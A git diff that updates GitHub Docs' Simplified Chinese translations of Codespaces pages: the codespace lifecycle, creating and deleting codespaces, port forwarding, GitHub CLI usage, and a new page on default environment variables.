diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md
index fc9df54ea7..3e7898fffc 100644
--- a/translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md
@@ -15,13 +15,13 @@ product: '{% data reusables.gated-features.codespaces %}'
 
 The lifecycle of a codespace begins when you create a codespace and ends when you delete it. You can disconnect and reconnect to an active codespace without affecting its running processes. You may stop and restart a codespace without losing changes that you have made to your project.
 
-## Creating a codespace
+## 创建代码空间
 
 When you want to work on a project, you can choose to create a new codespace or open an existing codespace. You might want to create a new codespace from a branch of your project each time you develop in {% data variables.product.prodname_codespaces %} or keep a long-running codespace for a feature.
 
-If you choose to create a new codespace each time you work on a project, you should regularly push your changes so that any new commits are on {% data variables.product.prodname_dotcom %}. You can have up to 10 codespaces at a time. Once you have 10 codespaces, you must delete a codespace before you can create a new one. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
+If you choose to create a new codespace each time you work on a project, you should regularly push your changes so that any new commits are on {% data variables.product.prodname_dotcom %}. You can have up to 10 codespaces at a time. Once you have 10 codespaces, you must delete a codespace before you can create a new one. 更多信息请参阅“[创建代码空间](/codespaces/developing-in-codespaces/creating-a-codespace)”。
 
-If you choose to use a long-running codespace for your project, you should pull from your repository's default branch each time you start working in your codespace so that your environment has the latest commits. This workflow is very similar to if you were working with a project on your local machine. 
+If you choose to use a long-running codespace for your project, you should pull from your repository's default branch each time you start working in your codespace so that your environment has the latest commits. This workflow is very similar to if you were working with a project on your local machine.
 
 ## Saving changes in a codespace
 
@@ -37,7 +37,7 @@ If you leave your codespace running without interaction, or if you exit your cod
 
 When a codespace times out, your data is preserved from the last time your changes were saved. For more information, see "[Saving changes in a codespace](#saving-changes-in-a-codespace)."
 
-## Rebuilding a codespace
+## 重建代码空间
 
 You can rebuild your codespace to restore a clean state as if you had created a new codespace. For most uses, you can create a new codespace as an alternative to rebuilding a codespace. You are most likely to rebuild a codespace to implement changes to your dev container. When you rebuild a codespace, any Docker containers, images, volumes, and caches are cleaned, then the codespace is rebuilt.
 
@@ -63,9 +63,9 @@ You can stop a codespace at any time. When you stop a codespace, any running pro
 
 Only running codespaces incur CPU charges; a stopped codespace incurs only storage costs.
 
-You may want to stop and restart a codespace to apply changes to it. For example, if you change the machine type used for your codespace, you will need to stop and restart it for the change to take effect. You can also stop your codespace and choose to restart or delete it if you encounter an error or something unexpected. For more information, see "[Suspending or stopping a codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)."
+You may want to stop and restart a codespace to apply changes to it. For example, if you change the machine type used for your codespace, you will need to stop and restart it for the change to take effect. You can also stop your codespace and choose to restart or delete it if you encounter an error or something unexpected. 更多信息请参阅“[暂停或停止代码空间](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)”。
 
-## Deleting a codespace
+## 删除代码空间
 
 You can create a codespace for a particular task and then safely delete the codespace after you push your changes to a remote branch.
 
diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md
index ec200503de..fb46673d48 100644
--- a/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a codespace
-intro: You can create a codespace for a branch in a repository to develop online.
+title: 创建代码空间
+intro: 您可以为仓库中的分支创建代码空间以便在线开发。
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: '{% data reusables.codespaces.availability %}'
 redirect_from:
@@ -17,21 +17,21 @@ topics:
 shortTitle: Create a codespace
 ---
 
-## About codespace creation
+## 关于代码空间的创建
 
 You can create a codespace on {% data variables.product.prodname_dotcom_the_website %}, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. {% data reusables.codespaces.codespaces-are-personal %}
 
-Codespaces are associated with a specific branch of a repository and the repository cannot be empty. {% data reusables.codespaces.concurrent-codespace-limit %} For more information, see "[Deleting a codespace](/github/developing-online-with-codespaces/deleting-a-codespace)."
+代码空间与仓库的特定分支相关联，且仓库不能为空。 {% data reusables.codespaces.concurrent-codespace-limit %} 更多信息请参阅“[删除代码空间](/github/developing-online-with-codespaces/deleting-a-codespace)”。
 
 
-When you create a codespace, a number of steps happen to create and connect you to your development environment:
+创建代码空间时，需要执行一些步骤并将您连接到开发环境。
 
-- Step 1: VM and storage are assigned to your codespace.
-- Step 2: Container is created and your repository is cloned.
-- Step 3: You can connect to the codespace.
-- Step 4: Codespace continues with post-creation setup.
+- 第 1 步：虚拟机和存储被分配到您的代码空间。
+- 第 2 步：创建容器并克隆仓库。
+- 第 3 步：您可以连接到代码空间。
+- 第 4 步：代码空间继续创建后设置。
 
-For more information on what happens when you create a codespace, see "[Deep Dive](/codespaces/getting-started/deep-dive)."
+有关创建代码空间时会发生什么的更多信息，请参阅“[深潜](/codespaces/getting-started/deep-dive)”。
 
 For more information on the lifecycle of a codespace, see "[Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)."
 
@@ -41,61 +41,62 @@ If you want to use Git hooks for your codespace, then you should set up hooks us
 
 {% data reusables.codespaces.you-can-see-all-your-codespaces %}
 
-## Access to {% data variables.product.prodname_codespaces %}
+## 访问 {% data variables.product.prodname_codespaces %}
 
 {% data reusables.codespaces.availability %}
 
-When you have access to {% data variables.product.prodname_codespaces %}, you'll see a "Codespaces" tab within the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu when you view a repository.
+当您访问 {% data variables.product.prodname_codespaces %} 时，在查看仓库时会看到 **{% octicon "code" aria-label="The code icon" %} Code（代码）**下拉菜单中的“Codespaces（代码空间）”选项卡。
 
-You'll have access to codespaces under the following conditions:
+在以下条件下，您可以访问代码空间：
 
-* You are a member of an organization that has enabled {% data variables.product.prodname_codespaces %} and set a spending limit.
-* An organization owner has granted you access to {% data variables.product.prodname_codespaces %}.
-* The repository is owned by the organization that has enabled {% data variables.product.prodname_codespaces %}.
+* 您是已启用 {% data variables.product.prodname_codespaces %} 并设定支出限额的组织的成员。
+* 组织所有者已授予您访问 {% data variables.product.prodname_codespaces %}。
+* 仓库归启用 {% data variables.product.prodname_codespaces %} 的组织所有。
 
 {% note %}
 
-**Note:** Individuals who have already joined the beta with their personal {% data variables.product.prodname_dotcom %} account will not lose access to {% data variables.product.prodname_codespaces %}, however {% data variables.product.prodname_codespaces %} for individuals will continue to remain in beta.
+**注意：** 已使用个人 {% data variables.product.prodname_dotcom %} 帐户加入测试版的个人不会失去 {% data variables.product.prodname_codespaces %} 访问权限，但个人的 {% data variables.product.prodname_codespaces %} 将继续保留在测试版中。
 
 {% endnote %}
 
-Organization owners can allow all members of the organization to create codespaces, limit codespace creation to selected organization members, or disable codespace creation. For more information about managing access to codespaces within your organization, see "[Enable Codespaces for users in your organization](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)."
+组织所有者可以允许组织的所有成员创建代码空间，将代码空间创建限制为选定的组织成员，或者禁用代码空间的创建。 有关管理对组织内代码空间的访问的更多信息，请参阅“[为组织中的用户启用代码空间](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)”。
 
-Before {% data variables.product.prodname_codespaces %} can be used in an organization, an owner or billing manager must have set a spending limit. For more information, see "[About spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces#about-spending-limits-for-codespaces)."
+在组织中使用 {% data variables.product.prodname_codespaces %} 之前，所有者或帐单管理员必须设定支出限额。 更多信息请参阅“[关于代码空间的支出限额](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces#about-spending-limits-for-codespaces)”。
 
-If you would like to create a codespace for a repository owned by your personal account or another user, and you have permission to create repositories in an organization that has enabled {% data variables.product.prodname_codespaces %}, you can fork user-owned repositories to that organization and then create a codespace for the fork. 
+如果想为您的个人帐户或其他用户拥有的仓库创建代码空间， 并且您有权在已启用 {% data variables.product.prodname_codespaces %} 的组织中创建仓库， 您可以将用户拥有的仓库复刻到该组织，然后为该复刻创建一个代码空间。
 
-## Creating a codespace
+## 创建代码空间
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Under the repository name, use the "Branch" drop-down menu, and select the branch you want to create a codespace for.
+2. 在仓库名称下，使用“Branch（分支）”下拉菜单选择您要为其创建代码的分支。
 
-   ![Branch drop-down menu](/assets/images/help/codespaces/branch-drop-down.png)
+   ![分支下拉菜单](/assets/images/help/codespaces/branch-drop-down.png)
 
 3. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-   ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+   ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png)
 
-   If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog, choose a machine type and then click **Create codespace**.
-     ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png)
+   如果您是组织的成员，并且在该组织拥有的仓库上创建代码空间，您可以选择不同机器类型的选项。 From the dialog box, choose a machine type and then click **Create codespace**.
+
+   ![机器类型选择](/assets/images/help/codespaces/choose-custom-machine-type.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.creating-a-codespace-in-vscode %}
 
 {% endvscode %}
-   
+
 {% cli %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To create a new codespace, use the `gh codespace create` subcommand. 
+To create a new codespace, use the `gh codespace create` subcommand.
 
 ```shell
 gh codespace create 
diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
new file mode 100644
index 0000000000..feab0a6e1f
--- /dev/null
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
@@ -0,0 +1,40 @@
+---
+title: Default environment variables for your codespace
+shortTitle: 默认环境变量
+product: '{% data reusables.gated-features.codespaces %}'
+permissions: '{% data reusables.codespaces.availability %}'
+intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each codespace.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+---
+
+## About default environment variables
+
+{% data variables.product.prodname_dotcom %} sets default environment variables for every codespace. Commands run in codespaces can create, read, and modify environment variables.
+
+{% note %}
+
+**Note**: Environment variables are case-sensitive.
+
+{% endnote %}
+
+## List of default environment variables
+
+| 环境变量                  | 描述                                                                                                                                                                                                                                                |
+| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `CODESPACE_NAME`      | The name of the codespace For example, `monalisa-github-hello-world-2f2fsdf2e`                                                                                                                                                                    |
+| `CODESPACES`          | Always `true` while in a codespace                                                                                                                                                                                                                |
+| `GIT_COMMITTER_EMAIL` | The email for the "author" field of future `git` commits.                                                                                                                                                                                         |
+| `GIT_COMMITTER_NAME`  | The name for the "committer" field of future `git` commits.                                                                                                                                                                                       |
+| `GITHUB_API_URL`      | 返回 API URL。 For example, `{% data variables.product.api_url_code %}`.                                                                                                                                                                             |
+| `GITHUB_GRAPHQL_URL`  | 返回 GraphQL API URL。 For example, `{% data variables.product.graphql_url_code %}`.                                                                                                                                                                 |
+| `GITHUB_REPOSITORY`   | 所有者和仓库名称。 例如 `octocat/Hello-World`。                                                                                                                                                                                                               |
+| `GITHUB_SERVER_URL`   | 返回 {% data variables.product.product_name %} 服务器的 URL。 For example, `https://{% data variables.product.product_url %}`.                                                                                                                           |
+| `GITHUB_TOKEN`        | A signed auth token representing the user in the codespace. You can use this to make authenticated calls to the GitHub API. For more information, see "[Authentication](/codespaces/codespaces-reference/security-in-codespaces#authentication)." |
+| `GITHUB_USER`         | The name of the user that initiated the codespace. 例如 `octocat`。                                                                                                                                                                                  |
diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
index 1ceef28360..09bde3170d 100644
--- a/translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a codespace
-intro: You can delete a codespace you no longer need.
+title: 删除代码空间
+intro: 您可以删除不再需要的代码空间。
 product: '{% data reusables.gated-features.codespaces %}'
 redirect_from:
   - /github/developing-online-with-github-codespaces/deleting-a-codespace
@@ -16,34 +16,33 @@ topics:
 shortTitle: Delete a codespace
 ---
 
- 
+
 
 {% data reusables.codespaces.concurrent-codespace-limit %}
 
 {% note %}
 
-**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization.
+**注意：**只有创建代码空间的人才能将其删除。 目前，组织所有者无法删除其组织内创建的代码空间。
 
 {% endnote %}
 
-{% include tool-switcher %}
-   
+
 {% webui %}
 
-1. Navigate to the "Your Codespaces" page at [github.com/codespaces](https://github.com/codespaces).
+1. 导航到 [github.com/codespaces](https://github.com/codespaces) 上的“您的代码空间”页面。
 
-2. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "trash" aria-label="The trash icon" %} Delete**
+2. 在要删除的代码空间的右侧，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **{% octicon "trash" aria-label="The trash icon" %} Delete（删除）**
 
-   ![Delete button](/assets/images/help/codespaces/delete-codespace.png)
+   ![删除按钮](/assets/images/help/codespaces/delete-codespace.png)
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.deleting-a-codespace-in-vscode %}
 
 {% endvscode %}
-   
+
 
 {% cli %}
 
@@ -61,5 +60,5 @@ For more information about this command, see [the {% data variables.product.prod
 
 {% endcli %}
 
-## Further reading
+## 延伸阅读
 - [Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)
diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
index a985c3a36c..72887736b1 100644
--- a/translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Developing in a codespace
-intro: 'You can open a codespace on {% data variables.product.product_name %}, then develop using {% data variables.product.prodname_vscode %}''s features.'
+title: 在代码空间中开发
+intro: '您可以在 {% data variables.product.product_name %} 上打开代码空间，然后使用 {% data variables.product.prodname_vscode %} 的功能进行开发。'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'You can develop in codespaces you''ve created for repositories owned by organizations using {% data variables.product.prodname_team %} and {% data variables.product.prodname_ghe_cloud %}.'
 redirect_from:
@@ -19,47 +19,46 @@ shortTitle: Develop in a codespace
 
  
 
-## About development with {% data variables.product.prodname_codespaces %}
+## 关于 {% data variables.product.prodname_codespaces %} 的开发
 
-{% data variables.product.prodname_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %}
+{% data variables.product.prodname_codespaces %} 为您提供 {% data variables.product.prodname_vscode %} 的完整开发体验。 {% data reusables.codespaces.use-visual-studio-features %}
 
 {% data reusables.codespaces.links-to-get-started %}
 
-![Codespace overview with annotations](/assets/images/help/codespaces/codespace-overview-annotated.png)
+![带注释的代码空间概述](/assets/images/help/codespaces/codespace-overview-annotated.png)
 
-1. Side Bar - By default, this area shows your project files in the Explorer.
-2. Activity Bar - This displays the Views and provides you with a way to switch between them. You can reorder the Views by dragging and dropping them.
-3. Editor - This is where you edit your files. You can use the tab for each editor to position it exactly where you need it.
-4. Panels - This is where you can see output and debug information, as well as the default place for the integrated Terminal.
-5. Status Bar - This area provides you with useful information about your codespace and project. For example, the branch name, configured ports, and more.
+1. 侧栏 - 默认情况下，此区域显示您在资源管理器中的项目文件。
+2. 活动栏 - 显示视图并提供在视图之间切换的方法。 您可以通过拖放来重新排列视图。
+3. 编辑器 - 这是您编辑文件的地方。 您可以使用每个编辑器的选项卡将其准确定位到您需要的位置。
+4. 面板 - 这是您可以查看输出和调试信息的位置，以及集成终端的默认位置。
+5. 状态栏 - 此区域提供有关您的代码空间和项目的有用信息。 例如，分支名称、配置端口等。
 
-For more information on using {% data variables.product.prodname_vscode %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode %} documentation.
+有关使用 {% data variables.product.prodname_vscode %} 的更多信息，请参阅 {% data variables.product.prodname_vscode %} 文档中的[用户界面指南](https://code.visualstudio.com/docs/getstarted/userinterface)。
 
 {% data reusables.codespaces.connect-to-codespace-from-vscode %}
 
-{% data reusables.codespaces.use-chrome %} For more information, see "[Troubleshooting Codespaces clients](/codespaces/troubleshooting/troubleshooting-codespaces-clients)."
+{% data reusables.codespaces.use-chrome %} 更多信息请参阅“[代码空间客户端故障排除](/codespaces/troubleshooting/troubleshooting-codespaces-clients)”。
 
-### Personalizing your codespace
+### 个性化代码空间
 
-{% data reusables.codespaces.about-personalization %} For more information, see "[Personalizing {% data variables.product.prodname_codespaces %} for your account](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)."
+{% data reusables.codespaces.about-personalization %} 更多信息请参阅“[个性化您帐户的 {% data variables.product.prodname_codespaces %}](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)”。
 
-{% data reusables.codespaces.apply-devcontainer-changes %} For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)."
+{% data reusables.codespaces.apply-devcontainer-changes %} 更多信息请参阅“[为项目配置 {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)”。
 
-### Running your app from a codespace
-{% data reusables.codespaces.about-port-forwarding %} For more information, see "[Forwarding ports in your codespace](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)."
+### 从代码空间运行应用程序
+{% data reusables.codespaces.about-port-forwarding %} 更多信息请参阅“[代码空间中的转发端口](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)”。
 
-### Committing your changes
+### 提交更改
 
-{% data reusables.codespaces.committing-link-to-procedure %} 
+{% data reusables.codespaces.committing-link-to-procedure %}
 
 ### Using the {% data variables.product.prodname_vscode_command_palette %}
 
 The {% data variables.product.prodname_vscode_command_palette %} allows you to access and manage many features for {% data variables.product.prodname_codespaces %} and {% data variables.product.prodname_vscode %}. For more information, see "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)."
 
-## Navigating to an existing codespace
+## 导航到现有代码空间
 
 1. {% data reusables.codespaces.you-can-see-all-your-codespaces %}
-2. Click the name of the codespace you want to develop in.
-  ![Name of codespace](/assets/images/help/codespaces/click-name-codespace.png)
+2. 单击您要在其中开发的代码空间的名称。 ![代码空间的名称](/assets/images/help/codespaces/click-name-codespace.png)
 
-Alternatively, you can see any active codespaces for a repository by navigating to that repository and selecting **{% octicon "code" aria-label="The code icon" %} Code**. The drop-down menu will display all active codespaces for a repository.
+或者，您可以通过导航到创建代码空间的仓库并选择 **{% octicon "code" aria-label="The code icon" %} 代码**来查看仓库的任何活动代码空间。 下拉菜单将显示仓库的所有活动代码空间。
diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
index bdc9bd0c4a..e2bead44de 100644
--- a/translations/zh-CN/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
@@ -29,8 +29,6 @@ You can also forward a port manually, label forwarded ports, share forwarded por
 
 您可以手动转发未自动转发的端口。
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -73,7 +71,7 @@ You can also forward a port manually, label forwarded ports, share forwarded por
 To forward a port use the `gh codespace ports forward` subcommand. Replace `codespace-port:local-port` with the remote and local ports that you want to connect. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace ports forward <em>codespace-port</em>:<em>local-port</em> 
+gh codespace ports forward <em>codespace-port</em>:<em>local-port</em>
 ```
 
 For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_forward).
@@ -92,8 +90,6 @@ To see details of forwarded ports enter `gh codespace ports` and then choose a c
 
 If you want to share a forwarded port with others, you can either make the port private to your organization or make the port public. After you make a port private to your organization, anyone in the organization with the port's URL can view the running application. After you make a port public, anyone who knows the URL and port number can view the running application without needing to authenticate.
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -119,7 +115,7 @@ To change the visibility of a forwarded port, use the `gh codespace ports visibi
 Replace `codespace-port` with the forwarded port number. Replace `setting` with `private`, `org`, or `public`. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace ports visibility <em>codespace-port</em>:<em>setting</em> 
+gh codespace ports visibility <em>codespace-port</em>:<em>setting</em>
 ```
 
 You can set the visibility for multiple ports with one command. 例如：
diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/index.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/index.md
index 0558dd88ff..48a171d5af 100644
--- a/translations/zh-CN/content/codespaces/developing-in-codespaces/index.md
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/index.md
@@ -1,6 +1,6 @@
 ---
-title: Developing in a codespace
-intro: 'Create a codespace to get started with developing your project inside a dedicated cloud environment. You can use forwarded ports to run your application and even use codespaces inside {% data variables.product.prodname_vscode %}'
+title: 在代码空间中开发
+intro: '创建代码空间，以便在专用云环境中开始开发您的项目。 您可以使用转发端口运行应用程序，甚至可以使用 {% data variables.product.prodname_vscode %} 内的代码空间'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,8 +15,9 @@ children:
   - /using-codespaces-for-pull-requests
   - /deleting-a-codespace
   - /forwarding-ports-in-your-codespace
+  - /default-environment-variables-for-your-codespace
   - /connecting-to-a-private-network
   - /using-codespaces-in-visual-studio-code
   - /using-codespaces-with-github-cli
 ---
- 
+
diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
index 2f9f4c0cdc..ee8bb91c2e 100644
--- a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
@@ -36,28 +36,28 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 {% mac %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
+1. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
 
    ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png)
 
-3. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-4. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+1. Sign in to {% data variables.product.product_name %} to approve the extension.
 
 {% endmac %}
 
 {% windows %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
+1. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
 
    ![The {% data variables.product.prodname_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png)
 
-3. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
+1. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
 
    ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png)
 
-4. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-5. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+1. Sign in to {% data variables.product.product_name %} to approve the extension.
 
 {% endwindows %}
 
@@ -68,8 +68,8 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 ## Opening a codespace in {% data variables.product.prodname_vscode %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Under "Codespaces", click the codespace you want to develop in.
-3. Click the Connect to Codespace icon.
+1. Under "Codespaces", click the codespace you want to develop in.
+1. Click the Connect to Codespace icon.
 
    ![The Connect to Codespace icon in {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png)
 
@@ -80,17 +80,23 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 You can change the machine type of your codespace at any time.
 
 1. In {% data variables.product.prodname_vscode %}, open the Command Palette (`shift command P` / `shift control P`).
-2. Search for and select "Codespaces: Change Machine Type."
+1. Search for and select "Codespaces: Change Machine Type."
 
    ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png)
 
-3. Click the codespace that you want to change.
+1. Click the codespace that you want to change.
 
    ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png)
 
-4. Choose the machine type you want to use. 
+1. Choose the machine type you want to use. 
 
-If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now. Click **Yes** if you want to change the machine type used for this codespace immediately. If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts.
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
+
+1. If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now.
+
+   Click **Yes** if you want to change the machine type used for this codespace immediately.
+   
+   If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts.
 
 ## Deleting a codespace in {% data variables.product.prodname_vscode %}
 
diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
index 6c45fb384e..a3dfd5637d 100644
--- a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
@@ -153,7 +153,7 @@ For more information about the `gh codespace cp` command, including additional f
 
 ### Modify ports in a codespace
 
-You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>control</kbd>+<kbd>c</kbd>.
+You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>Control</kbd>+<kbd>C</kbd>.
 
 ```shell
 gh codespace ports forward <em>codespace-port-number</em>:<em>local-port-number</em> -c <em>codespace-name</em>
diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
index 9840e7b32f..bfe33f94e0 100644
--- a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
+++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Using source control in your codespace
-intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository.
+title: 在代码空间中使用源控制
+intro: 在对代码空间中的文件进行更改后，您可以快速提交更改并将更新推送到远程仓库。
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -10,73 +10,68 @@ topics:
   - Codespaces
   - Fundamentals
   - Developer
-shortTitle: Source control
+shortTitle: 源控制
 ---
 
  
 
-## About source control in {% data variables.product.prodname_codespaces %}
+## 关于 {% data variables.product.prodname_codespaces %} 中的源控制
 
-You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from the remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control.
+您可以直接在代码空间内执行所需的所有 Git 操作。 例如，您可以从远程仓库获取更改、切换分支、创建新分支、提交和推送更改，以及创建拉取请求。 您可以使用代码空间内的集成终端输入 Git 命令，也可以单击图标和菜单选项以完成所有最常见的 Git 任务。 本指南解释如何使用图形用户界面来控制源代码。
 
